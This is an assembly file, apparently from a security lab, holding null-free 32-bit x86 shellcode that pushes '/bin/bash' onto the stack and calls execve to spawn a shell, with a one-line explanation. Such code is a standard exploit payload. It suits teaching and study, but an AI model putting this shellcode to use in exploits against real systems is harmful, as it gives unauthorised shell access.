File: mybash.s

```
section .text
  global _start
    _start:
      ; store the argument string "/bin/bash" on stack
      mov  edx,"h***"
      shl  edx,24
      shr  edx,24
      push edx
      push "/bas"
      push "/bin"
      mov  ebx, esp           ; ebx = address of command "/bin/bash"

      ; setup argument array argv[] on stack
      xor  eax, eax
      push eax                ; argv[1] = 0
      push ebx                ; argv[0] points "/bin/bash"
      mov  ecx, esp           ; ecx = address of argv[]

      ; no environment variables to pass to execve()
      xor  edx, edx           ; edx = 0x00000000

      ; invoke execve()
      xor  eax, eax           ; eax = 0x00000000
      mov  al, 0x0b           ; eax = 0x0000000b
      int  0x80
```

Setup for `execve()` to execute the command: **`/bin/bash`**